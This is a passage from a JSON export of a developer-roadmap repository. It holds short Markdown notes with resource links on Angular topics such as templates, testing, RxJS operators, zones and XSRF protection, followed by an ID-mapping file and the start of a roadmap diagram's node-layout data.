    "content": "# Template Syntax\n\nIn Angular, a *template* is a chunk of HTML. Use special syntax within a template to build on many of Angular's features. Extend the HTML vocabulary of your applications with special Angular syntax in your templates. For example, Angular helps you get and set DOM (Document Object Model) values dynamically with features such as built-in template functions, variables, event listening, and data binding.\n\nVisit the following resources to learn more:\n\n- [@official@Template Syntax](https://angular.dev/guide/templates)\n- [@article@An Introduction to Angular Template Syntax](https://angularstart.com/modules/basic-angular-concepts/3/)\n- [@video@Craft Dynamic Templates with Angular's Template Syntax](https://www.youtube.com/watch?v=uSnUTcf8adI)"
  },
  {
    "path": "src/data/roadmaps/angular/content/template@-gUpm3OLUJl9iAyx6fmHN.md",
    "content": "# Template\n\n`template` metadata is a property defined within the `@Component` decorator that specifies the HTML template for the component. It allows you to define the structure and layout of the component's view.\n\nVisit the following resources to learn more:\n\n- [@official@Template Syntax](https://angular.dev/guide/templates)\n- [@official@Component Template API](https://angular.dev/api/core/Component#template)\n"
  },
  {
    "path": "src/data/roadmaps/angular/content/templates@6fhe9xAi_RSVfa-KKbcbV.md",
    "content": "# Angular Templates\n\nA Template is a form of HTML which tells Angular to go towards another component. To create many Angular features, special syntax within the templates is used.\n\nVisit the following resources to learn more:\n\n- [@official@Template Syntax](https://angular.dev/guide/templates)\n- [@feed@Explore top posts about Angular](https://app.daily.dev/tags/angular?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/angular/content/testing-directives@SGqb5k6OmWit8PA6ZT3js.md",
    "content": "# Testing directives\n\nDirectives are classes that add new behavior or modify the existing behavior to the elements in the template. Basically directives are used to manipulate the DOM, for example adding/removing the element from DOM or changing the appearance of the DOM elements.\n\nVisit the following resources to learn more:\n\n- [@official@Attribute Directives](https://angular.dev/guide/testing/attribute-directives)\n- [@article@Testing Directives](https://testing-angular.com/testing-directives/)\n- [@feed@Explore top posts about Testing](https://app.daily.dev/tags/testing?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/angular/content/testing-pipes@rH13NBFG02hnn5eABSNCY.md",
    "content": "# Testing pipes\n\nAn Angular Pipe is a special function that is called from a Component template. Its purpose is to transform a value: You pass a value to the Pipe, the Pipe computes a new value and returns it.\n\nVisit the following resources to learn more:\n\n- [@official@Testing Pipes](https://angular.dev/guide/testing/pipes)\n- [@article@Testing Pipes Examples](https://testing-angular.com/testing-pipes/)\n- [@feed@Explore top posts about Testing](https://app.daily.dev/tags/testing?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/angular/content/testing-requests@4xt0m5jkUqB4Z-krcFBuL.md",
    "content": "# Testing Requests\n\nAs for any external dependency, you must mock the HTTP backend so your tests can simulate interaction with a remote server. The `@angular/common/http/testing` library provides tools to capture requests made by the application, make assertions about them, and mock the responses to emulate your backend's behavior.\n\nVisit the following resources to learn more:\n\n- [@official@Testing Requests](https://angular.dev/guide/http/testing)\n- [@video@Import Http Client Testing Module and make Test call with the HttpClient](https://www.youtube.com/watch?v=Sgy_RRXC9As)\n- [@video@HTTP | Angular Unit Testing Made Easy: Comprehensive Guide to HTTP Testing](https://www.youtube.com/watch?v=7rlwryYhGzs)"
  },
  {
    "path": "src/data/roadmaps/angular/content/testing-services@HU1eTYB321C93qh_U7ioF.md",
    "content": "# Testing Services\n\nTo ensure your services function as expected, you can write dedicated tests for them. Services are typically the easiest files to unit test. You can instantiate the service within a `beforeEach` block, invoke its methods, and assert the results.\n\nVisit the following resources to learn more:\n\n- [@official@Testing Services](https://angular.dev/guide/testing/services)\n- [@video@Step by Step implementation of the Calculator Service with Jasmine Specification](https://www.youtube.com/watch?v=yoJDYEq8vSs)"
  },
  {
    "path": "src/data/roadmaps/angular/content/testing@lLa-OnHV6GzkNFZu29BIT.md",
    "content": "# Testing Angular Apps\n\nIn any software development process, testing the application plays a vital role. If bugs and crashes are not figured out and solved they can defame the development company as well as hurt the clients too. But, Angular’s architecture comes with built-in testability features. As soon as you create a new project with Angular CLI, two essential testing tools are installed. They are: Jasmine and Karma. Jasmine is the testing library which structures individual tests into specifications (“specs”) and suites. And Karma is the test runner, which enables the different browsers to run the tests mentioned by Jasmine and the browsers will finally report the test results back.\n\nVisit the following resources to learn more:\n\n- [@official@Testing Angular Apps](https://angular.dev/guide/testing)\n- [@official@Jasmine Docs](https://jasmine.github.io/)\n- [@official@Karma Docs](https://karma-runner.github.io/latest/index.html)\n- [@article@Testing Angular - A Guide to Robust Angular Applications](https://testing-angular.com/)\n- [@video@Introduction | Angular Unit Testing Made Easy: A Comprehensive Introduction](https://www.youtube.com/watch?v=emnwsVy8wRs)"
  },
  {
    "path": "src/data/roadmaps/angular/content/transformation@kdMJHljMzGA3oRlh8Zvos.md",
    "content": "# Transformation\n\nIn RxJS, \"transformation\" refers to the process of modifying or manipulating the data emitted by an Observable. There are a variety of methods available in RxJS that can be used to transform the data emitted by an Observable, including:\n\n- **map**: applies a function to each item emitted by the Observable and emits the resulting value\n- **mergeMap**: applies a function to each item emitted by the Observable, and then merges the resulting Observables into a single Observable\n- **switchMap**: applies a function to each item emitted by the Observable, and then switches to the latest resulting Observable\n- **concatMap**: applies a function to each item emitted by the Observable, and then concatenates the resulting Observables into a single Observable\n- **exhaustMap**: applies a function to each item emitted by the Observable, but ignores subsequent emissions until the current Observable completes\n\nVisit the following resources to learn more:\n\n- [@official@The RxJS Library](https://v17.angular.io/guide/rx-library)\n- [@official@Merge](https://www.learnrxjs.io/learn-rxjs/operators/combination/merge)\n- [@official@Concat](https://www.learnrxjs.io/learn-rxjs/operators/combination/concat)\n- [@official@Zip](https://www.learnrxjs.io/learn-rxjs/operators/combination/zip)\n- [@official@switchMap](https://www.learnrxjs.io/learn-rxjs/operators/transformation/switchmap)\n- [@official@concatMap](https://www.learnrxjs.io/learn-rxjs/operators/transformation/concatMap)\n- [@official@exhaustMap](https://www.learnrxjs.io/learn-rxjs/operators/transformation/exhaustMap)\n- [@video@switchMap vs mergeMap vs concatMap vs exhaustMap practical guide](https://youtu.be/40pC5wHowWw)\n"
  },
  {
    "path": "src/data/roadmaps/angular/content/transitions--triggers@Iv2d4sgODqMPzA9gH6RAw.md",
    "content": "# Transitions & Triggers\n\nIn Angular, transition states can be defined explicitly through the `state()` function, or using the predefined `*` wildcard and `void` states. An asterisk `*` or wildcard matches any animation state. This is useful for defining transitions that apply regardless of the HTML element's start or end state. Use the `void` state to configure transitions for an element that is entering or leaving a page.\n\nVisit the following resources to learn more:\n\n- [@official@Transition and Triggers](https://angular.dev/guide/animations/transition-and-triggers)\n- [@video@Angular Animations: Learn the basics](https://www.youtube.com/watch?v=CGBcIz1tYec)\n- [@video@How to use trigger function in Angular Animations](https://www.youtube.com/watch?v=3_B4OV5M_Ag)"
  },
  {
    "path": "src/data/roadmaps/angular/content/translation-files@jL5amGV1BAX_V5cyTIH7d.md",
    "content": "# Translation Files\n\nAfter you prepare a component for translation, use the `extract-i18n` Angular CLI command to extract the marked text in the component into a source language file. The marked text includes text marked with `i18n`, attributes marked with `i18n`-attribute, and text tagged with `$localize`. The `extract-i18n` command creates a source language file named `messages.xlf` in the root directory of your project.  If you have multiple language files, add the locale to the file name, like `messages.{locale}.xlf`.\n\nVisit the following resources to learn more:\n\n- [@official@Translation Files](https://angular.dev/guide/i18n/translation-files)\n- [@official@Extract i18n](https://angular.dev/cli/extract-i18n)\n- [@article@Angular i18n: internationalization & localization with examples](https://lokalise.com/blog/angular-i18n/)"
  },
  {
    "path": "src/data/roadmaps/angular/content/trusting-safe-values@XoYSuv1salCCHoI1cJkxv.md",
    "content": "# Trusting Safe Values\n\nSometimes applications genuinely need to include executable code, display an `<iframe>` from some URL, or construct potentially dangerous URLs. To prevent automatic sanitization in these situations, tell Angular that you inspected a value, checked how it was created, and made sure it is secure. Do be careful. If you trust a value that might be malicious, you are introducing a security vulnerability into your application. If in doubt, find a professional security reviewer.\n\nVisit the following resources to learn more:\n\n- [@official@Trusting Safe Values](https://angular.dev/best-practices/security#trusting-safe-values)\n"
  },
  {
    "path": "src/data/roadmaps/angular/content/two-way-binding@2UH79nCjgtY1Qz1YjUJYL.md",
    "content": "# Two-way Binding\n\nTwo-way binding gives components in your application a way to share data. Use two-way binding to listen for events and update values simultaneously between parent and child components. Angular's two-way binding syntax is a combination of square brackets and parentheses, `[()]`, commonly known as `banana in a box`.\n\nVisit the following resources to learn more:\n\n- [@official@Two-way binding](https://angular.dev/guide/templates/two-way-binding)\n- [@article@How to implement two-way data binding in Angular](https://www.angularminds.com/blog/how-to-implement-two-way-data-binding-in-angular)\n"
  },
  {
    "path": "src/data/roadmaps/angular/content/typed-forms@XC_K1Wahl2ySqOXoym4YU.md",
    "content": "# Typed Forms\n\nSince Angular 14, reactive forms are strictly typed by default. You don't have to define extra custom types or add a ton of type annotations to your form declarations to benefit from this extra type safety, as Angular will infer types from the default value of a form control. Non-typed forms are still supported. To use them, you must import the `Untyped` symbols from `@angular/forms`.\n\nVisit the following resources to learn more:\n\n- [@official@Typed Forms](https://angular.dev/guide/forms/typed-forms)\n- [@article@Angular Strictly Typed Forms (Complete Guide)](https://blog.angular-university.io/angular-typed-forms/)\n- [@video@Getting started with Typed Reactive Forms in Angular](https://www.youtube.com/watch?v=mT3UR0TdDnU)\n- [@video@Angular TYPED Forms: Are You Using Them Correctly?](https://www.youtube.com/watch?v=it2BZoIvBPc)\n- [@video@Knowing this makes Angular typed forms WAY less awkward](https://www.youtube.com/watch?v=xpRlijg6spo)"
  },
  {
    "path": "src/data/roadmaps/angular/content/ui-components@CZ1YRyai8Ds-ry4A8jVbr.md",
    "content": "# UI Components\n\nThe Angular Material library, which is maintained by the Angular team, is a suite of reusable UI components that aims to be fully accessible. The Component Development Kit (CDK) includes the a11y package that provides tools to support various areas of accessibility.\n\nVisit the following resources to learn more:\n\n- [@official@UI Components](https://angular.dev/best-practices/a11y#angular-ui-components)\n- [@official@Angular a11y overview](https://material.angular.io/cdk/a11y/overview)"
  },
  {
    "path": "src/data/roadmaps/angular/content/understand-binding@WH5wlyOtrqFHBJx7RFJwS.md",
    "content": "# Binding data props attrs events\n\nIn an Angular template, a binding creates a live connection between view and the model and keeps them both in sync.\n\n- **property**: helps you set values for properties of HTML elements or directives.\n- **attributes**: helps you set values for attributes of HTML elements directly.\n- **event**: lets you listen for and respond to user actions such as keystrokes, mouse movements, clicks, and touches.\n- **data**: It's a combination of property and event binding and helps you share data between components.\n\nVisit the following resources to learn more:\n\n- [@official@Binding](https://angular.dev/guide/templates/binding)\n"
  },
  {
    "path": "src/data/roadmaps/angular/content/using-libraries@YHV5oFwLwphXf1wJTDZuG.md",
    "content": "# Using Libraries\n\nLibraries are published as `npm packages`, usually together with schematics that integrate them with the Angular CLI. To integrate reusable library code into an application, you need to install the package and import the provided functionality in the location you use it. For most published Angular libraries, use the `ng add <lib_name>` Angular CLI command. A published library typically provides a `README` file or other documentation on how to add that library to your application. A library is able to be updated by the publisher, and also has individual dependencies which need to be kept current. To check for updates to your installed libraries, use the `ng update` Angular CLI command.\n\nVisit the following resources to learn more:\n\n- [@official@Using Libraries](https://angular.dev/tools/libraries/using-libraries)\n- [@official@npm](https://www.npmjs.com/)"
  },
  {
    "path": "src/data/roadmaps/angular/content/viewchild@v0XaLNZ-YrRqP-xv8wS43.md",
    "content": "# ViewChild\n\nView queries retrieve results from the elements in the component's view — the elements defined in the  component's own template.\n\nVisit the following resources to learn more:\n\n- [@official@View queries](https://angular.dev/guide/components/queries#view-queries)\n- [@official@viewChild - signal](https://angular.dev/guide/signals/queries#viewchild)\n- [@official@viewChildren - signal](https://angular.dev/guide/signals/queries#viewchildren)\n- [@official@viewChild - API](https://angular.dev/api/core/viewChild)\n"
  },
  {
    "path": "src/data/roadmaps/angular/content/viewprovider@doHDoAgp7T59KGSXPpQzZ.md",
    "content": "# viewProvider\n\nDefines the set of injectable objects that are visible to its view DOM children.\n\nVisit the following resources to learn more:\n\n- [@official@Using the viewProviders array](https://angular.dev/guide/di/hierarchical-dependency-injection#using-the-viewproviders-array)\n- [@official@Component - API](https://angular.dev/api/core/Component#viewProviders)\n"
  },
  {
    "path": "src/data/roadmaps/angular/content/writing-interceptors@xG7iSVOGcbxJbNv3xbNfc.md",
    "content": "# Writing Interceptors\n\nInterceptors are middleware that allows common patterns around retrying, caching, logging, and authentication to be abstracted away from individual requests.\n\nVisit the following resources to learn more:\n\n- [@official@Interceptors](https://angular.dev/guide/http/interceptors)\n- [@article@Angular Interceptor](https://www.scaler.com/topics/angular/angular-interceptor/)\n- [@video@Interceptors in Angular](https://www.youtube.com/watch?v=w1_AmHv2LmA)"
  },
  {
    "path": "src/data/roadmaps/angular/content/xsrf-protection@ni00edsphJd7uBLCn7-Vw.md",
    "content": "# XSRF Protection\n\nCross-Site Request Forgery (XSRF or CSRF) protection is a critical security measure designed to prevent a type of malicious exploit where an attacker tricks a web browser into sending an unauthorized request to a trusted site on behalf of a logged-in user. Unlike phishing, which tries to steal credentials, XSRF exploits a user's active session.\n\nVisit the following resources to learn more:\n\n- [@article@Prevent Cross-Site Request Forgery (XSRF/CSRF) Attack](https://learn.microsoft.com/en-us/aspnet/core/security/anti-request-forgery?view=aspnetcore-9.0)\n- [@video@Configure the CSRF Protection With Spring Security 6 and Angular](https://www.youtube.com/watch?v=tgjLsEmxcuY)\n- [@video@Angular Security - CSRF prevention using Double Submit Cookie](https://www.youtube.com/watch?v=lZfF4MOTeNM)\n"
  },
  {
    "path": "src/data/roadmaps/angular/content/zone-pollution@pRSR5PEbkJXAJ1LPyK-EE.md",
    "content": "# Zone Pollution\n\n`Zone.js` is a signaling mechanism that Angular uses to detect when an application state might have changed. In some cases, scheduled tasks or microtasks don’t make any changes in the data model, which makes running change detection unnecessary. Common examples are `requestAnimationFrame`, `setTimeout` and `setInterval`. You can identify change detection with Angular DevTools, and you can run code outside the Angular zone to avoid unnecessary change detection calls.\n\nVisit the following resources to learn more:\n\n- [@official@Zone Pollution](https://angular.dev/best-practices/zone-pollution)\n- [@official@Angular DevTools](https://angular.dev/tools/devtools)\n- [@video@NgZone in Angular - Improve Performance by Running Code Outside Angular](https://www.youtube.com/watch?v=7duYY9IFIuw)\n- [@video@4 Runtime Performance Optimizations](https://www.youtube.com/watch?v=f8sA-i6gkGQ)"
  },
  {
    "path": "src/data/roadmaps/angular/content/zoneless-applications@1x5pT607aKE-S-NCWB810.md",
    "content": "# Zoneless Applications\n\nAngular 18 introduced an experimental feature called zoneless change detection. This technology removes the need for `Zone.js`, a library that was previously used for change detection in Angular from the beginning. By eliminating `Zone.js`, Angular applications can have faster initial renders, smaller bundle sizes, and simpler debugging.\n\nVisit the following resources to learn more:\n\n- [@official@Zoneless](https://angular.dev/guide/experimental/zoneless)\n- [@article@Zoneless Change Detection Angular 18](https://blog.logrocket.com/zoneless-change-detection-angular-18/)\n- [@article@From Zone JS to Zoneless Angular and back: How it all works](https://angularindepth.com/posts/1513/from-zone-js-to-zoneless-angular-and-back-how-it-all-works)\n- [@article@A New Era for Angular: Zoneless Change Detection](https://justangular.com/blog/a-new-era-for-angular-zoneless-change-detection)\n- [@video@Zoneless Angular Applications in V18](https://www.youtube.com/watch?v=MZ6s5EL7hKk)\n- [@video@I tested Angular 18 Zoneless mode and this is what I found out!](https://www.youtube.com/watch?v=vHNeAqgNM4o)"
  },
  {
    "path": "src/data/roadmaps/angular/content/zones@m4WBnx_9h01Jl6Q1sxi4Y.md",
    "content": "# Zones\n\nZone.js is a signaling mechanism that Angular uses to detect when an application state might have changed. It captures asynchronous operations like setTimeout, network requests, and event listeners. Angular schedules change detection based on signals from Zone.js.\n\nVisit the following resources to learn more:\n\n- [@official@Resolving Zone Pollution](https://angular.dev/best-practices/zone-pollution)\n- [@official@Angular without ZoneJS (Zoneless)](https://angular.dev/guide/experimental/zoneless)\n- [@official@NgZone - API](https://angular.dev/api/core/NgZone)\n- [@video@WTF is \"Zone.js\" and is it making your app slow?](https://www.youtube.com/watch?v=lmrf_gPIOZU)"
  },
  {
    "path": "src/data/roadmaps/angular/faqs.astro",
    "content": ""
  },
  {
    "path": "src/data/roadmaps/angular/migration-mapping.json",
    "content": "{\n  \"rxjs-basics\": \"lfp7PIjwITU5gBITQdirD\",\n  \"rxjs-basics:observable-pattern\": \"krXA6ua7E3m4IIpFkgQZe\",\n  \"rxjs-basics:observable-lifecycle\": \"b06Y5YrqBbHhWkK6Ws_1c\",\n  \"rxjs-basics:rxjs-vs-promises\": \"e1ZmmxPZuogCNgtbPPWmd\",\n  \"rxjs-basics:operators\": \"ihsjIcF0tkhjs56458teE\",\n  \"rxjs-basics:operators:filtering\": \"nxUbl0eu3LsSL-Z8X6nP5\",\n  \"rxjs-basics:operators:rate-limiting\": \"bJbbayFQ9WSJT9-qy0H5l\",\n  \"rxjs-basics:operators:transformation\": \"kdMJHljMzGA3oRlh8Zvos\",\n  \"rxjs-basics:operators:combination\": \"IgUHqfVhiGpwxT9tY8O88\",\n  \"angular-basics:angular-components\": \"kGnKzCkQCNFEdgCBRtNuW\",\n  \"angular-basics:angular-templates\": \"6fhe9xAi_RSVfa-KKbcbV\",\n  \"angular-basics:angular-modules\": \"b_kdNS9PDupcUftslkf9i\",\n  \"angular-basics:dependency-injection\": \"8u9uHCRt9RU57erBy79PP\",\n  \"angular-basics:services\": \"CpsoIVoCKaZnM_-BbXbCh\",\n  \"angular-basics:routing\": \"a74v78SvGtWduZpXs7wSq\",\n  \"forms\": \"Q36LQds8k_cSjijvXyWOM\",\n  \"rendering-topics:builtin-directives\": \"kGzlumFdZFxTRZ3HnCGFO\",\n  \"rendering-topics:builtin-pipes\": \"j99WQxuTzGeBBVoReDp_y\",\n  \"rendering-topics:change-detection\": \"_-mTs_FMeob-ZGK-bb3j-\",\n  \"routing:configuration\": \"dbAS-hN1hoCsNJhkxXcGq\",\n  \"routing:lazy-loading\": \"ewbDdPYv2SJl_jW3RVHQs\",\n  \"routing:router-outlets\": \"1ZwdEL0Gx30Vv_Av3ZTGG\",\n  \"routing:router-links\": \"8lFyuSx4MUcYRY2L8bZrq\",\n  \"routing:router-events\": \"YF_sG292HqawIX0siWhrv\",\n  \"routing:guards\": \"PmC4zeaLpa5LoL4FhYXcG\",\n  \"state-management:ngxs\": \"N9ZCPgFnFIUv4jMv1w5qK\",\n  \"state-management:ngrx\": \"ir94IdkF1tVAA8ZTD9r0N\",\n  \"zones\": \"m4WBnx_9h01Jl6Q1sxi4Y\",\n  \"creating-a-custom-x:directive\": \"7GUvTMVzfdVEDBOz-tHUT\",\n  \"creating-a-custom-x:pipe\": \"BOYXGfULJRiP-XOo_lNX3\",\n  \"creating-a-custom-x:library\": \"cl89U8atD6gw5rMGUm4Ix\",\n  \"testing-angular-apps\": \"lLa-OnHV6GzkNFZu29BIT\",\n  \"testing-angular-apps:testing-pipes\": \"rH13NBFG02hnn5eABSNCY\",\n  \"testing-angular-apps:testing-services\": \"TGRZBizDy83JKg_MhnRdX\",\n  \"testing-angular-apps:testing-component-bindings\": \"cXVy1lx2XqY_j8gxz-y60\",\n  \"testing-angular-apps:testing-directives\": \"SGqb5k6OmWit8PA6ZT3js\",\n  \"testing-angular-apps:testing-component-templates\": \"0dYWO_Zvh9J5_6cRjRjvI\",\n  \"angular-ssg\": \"b-0yQ74zHtAxI9aRLBohc\",\n  \"angular-ssr\": \"jfHaS8TqE4tcAo59K8Nkn\",\n  \"lifecycle-hooks\": \"nCpfj_35ZvW-NTygg06XZ\",\n  \"state-management\": \"Mqe_s-nwBqAL6X7OGRHEN\",\n  \"forms:reactive-forms\": \"1d3Y4HVnqom8UOok-7EEf\",\n  \"forms:template-driven-forms\": \"uDx4lPavwsJFBMzdQ70CS\",\n  \"angular-cli\": \"4YSk6I63Ew--zoXC3xmrC\",\n  \"angular-cli:schematics\": \"Uvr0pRk_fOzwRwqn0dQ6N\",\n  \"templates:template-statements\": \"t2YOeMONlcnKBrVAo0JDc\",\n  \"templates:binding-data-props-attrs-events\": \"WH5wlyOtrqFHBJx7RFJwS\",\n  \"templates:interpolation\": \"XHpfHRIlFh19FJIE07u7i\",\n  \"templates:property-binding\": \"TJOZfHtsLfwA0CZ2bd1b2\",\n  \"templates:reference-vars\": \"nyDry6ZWyEUuTq4pw-lU3\",\n  \"templates:input-output\": \"VsU6713jeIjAOEZnF6gWx\"\n}"
  },
  {
    "path": "src/data/roadmaps/api-design/api-design.json",
    "content": "{\n  \"nodes\": [\n    {\n      \"id\": \"SP-d4YngpYXkeIB9SSD-K\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 240.93596412339082,\n        \"y\": 1861.570310981244\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"borderColor\": \"TRANSPARENt\",\n          \"backgroundColor\": \"TRANSPARENt\"\n        },\n        \"oldId\": \"7s60T3OiXeo29-xN6fGjJ\"\n      },\n      \"zIndex\": -999,\n      \"width\": 203,\n      \"height\": 114,\n      \"style\": {\n        \"width\": 203,\n        \"height\": 114\n      },\n      \"positionAbsolute\": {\n        \"x\": 240.93596412339082,\n        \"y\": 1861.570310981244\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 203,\n        \"height\": 114\n      }\n    },\n    {\n      \"id\": \"XzXLGjJr2F8Ln7gP0e5N8\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -151.46804969796983,\n        \"y\": 2375.4716162213053\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Continue Learning with following relevant tracks\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"borderColor\": \"#000000\"\n        },\n        \"oldId\": \"jXtqI8k4Abz-vr01IcpWL\"\n      },\n      \"zIndex\": 999,\n      \"width\": 437,\n      \"height\": 118,\n      \"positionAbsolute\": {\n        \"x\": -151.46804969796983,\n        \"y\": 2375.4716162213053\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 437,\n        \"height\": 118\n      },\n      \"resizing\": true,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 437,\n        \"height\": 118\n      }\n    },\n    {\n      \"id\": \"zL4QEM5xZO8XWXXWrdPuj\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 244.19846699906657,\n        \"y\": 1501.3654630729577\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"borderColor\": \"TRANSPARENt\",\n          \"backgroundColor\": \"TRANSPARENt\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 201,\n      \"height\": 217,\n      \"style\": {\n        \"width\": 201,\n        \"height\": 217\n      },\n      \"positionAbsolute\": {\n        \"x\": 244.19846699906657,\n        \"y\": 1501.3654630729577\n      },\n      \"dragging\": false,\n      \"resizing\": true,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 201,\n        \"height\": 217\n      }\n    },\n    {\n      \"id\": \"o3XFXW2HHLBoxlbEnoWdZ\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -592.469505701316,\n        \"y\": 1567.7437339754388\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"TRANSPARENt\",\n          \"borderColor\": \"TRANSPARENt\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 248,\n      \"height\": 381,\n      \"style\": {\n        \"width\": 248,\n        \"height\": 381\n      },\n      \"positionAbsolute\": {\n        \"x\": -592.469505701316,\n        \"y\": 1567.7437339754388\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 248,\n        \"height\": 381\n      }\n    },\n    {\n      \"id\": \"ludceg3fQVkilNTKWznti\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -210.7109644352177,\n        \"y\": 1239.744561558562\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"TRANSPARENt\",\n          \"borderColor\": \"TRANSPARENt\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 253,\n      \"height\": 114,\n      \"style\": {\n        \"width\": 253,\n        \"height\": 114\n      },\n      \"positionAbsolute\": {\n        \"x\": -210.7109644352177,\n        \"y\": 1239.744561558562\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 253,\n        \"height\": 114\n      }\n    },\n    {\n      \"id\": \"RkPVaSF9XnX6uHUns_-oC\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 228.3676576847514,\n        \"y\": 1267.1153073402706\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"borderColor\": \"TRANSPARENt\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 220,\n      \"height\": 235,\n      \"style\": {\n        \"width\": 220,\n        \"height\": 235\n      },\n      \"positionAbsolute\": {\n        \"x\": 228.3676576847514,\n        \"y\": 1267.1153073402706\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 220,\n        \"height\": 235\n      }\n    },\n    {\n      \"id\": \"cGWZQjKazJQ0D3nz_AdAX\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -593.4010478029121,\n        \"y\": 982.3357132591475\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"borderColor\": \"TRANSPARENt\",\n          \"backgroundColor\": \"TRANSPARENt\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 231,\n      \"height\": 279,\n      \"style\": {\n        \"width\": 231,\n        \"height\": 279\n      },\n      \"resizing\": true,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -593.4010478029121,\n        \"y\": 982.3357132591475\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 231,\n        \"height\": 279\n      }\n    },\n    {\n      \"id\": \"iHtjFSkQWMoUNdltNttEd\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 219.72110595703134,\n        \"y\": 644.8914213180542\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"TRANSPARENt\",\n          \"borderColor\": \"TRANSPARENt\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 269,\n      \"height\": 297,\n      \"style\": {\n        \"width\": 269,\n        \"height\": 297\n      },\n      \"positionAbsolute\": {\n        \"x\": 219.72110595703134,\n        \"y\": 644.8914213180542\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 269,\n        \"height\": 297\n      }\n    },\n    {\n      \"id\": \"junprE7dbMyeovApqhSgr\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 219.22110595703134,\n        \"y\": 281.3914213180542\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"TRANSPARENt\",\n          \"borderColor\": \"TRANSPARENt\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 270,\n      \"height\": 228,\n      \"style\": {\n        \"width\": 270,\n        \"height\": 228\n      },\n      \"positionAbsolute\": {\n        \"x\": 219.22110595703134,\n        \"y\": 281.3914213180542\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 270,\n        \"height\": 228\n      }\n    },\n    {\n      \"id\": \"wTrcPqj0KpoeOvJf7k3iI\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -206.8881872719935,\n        \"y\": 436.40074822234897\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"TRANSPARENt\",\n          \"borderColor\": \"TRANSPARENt\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 265,\n      \"height\": 289,\n      \"style\": {\n        \"width\": 265,\n        \"height\": 289\n      },\n      \"positionAbsolute\": {\n        \"x\": -206.8881872719935,\n        \"y\": 436.40074822234897\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 265,\n        \"height\": 289\n      }\n    },\n    {\n      \"id\": \"IzMY2P54llvbVixWxAl7H\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -571.1381872719934,\n        \"y\": 123.90074822234897\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17\n        },\n        \"oldId\": \"wOyWgfUDwC3ORsLI8H5A0\"\n      },\n      \"zIndex\": -999,\n      \"width\": 233,\n      \"height\": 437,\n      \"style\": {\n        \"width\": 233,\n        \"height\": 437\n      },\n      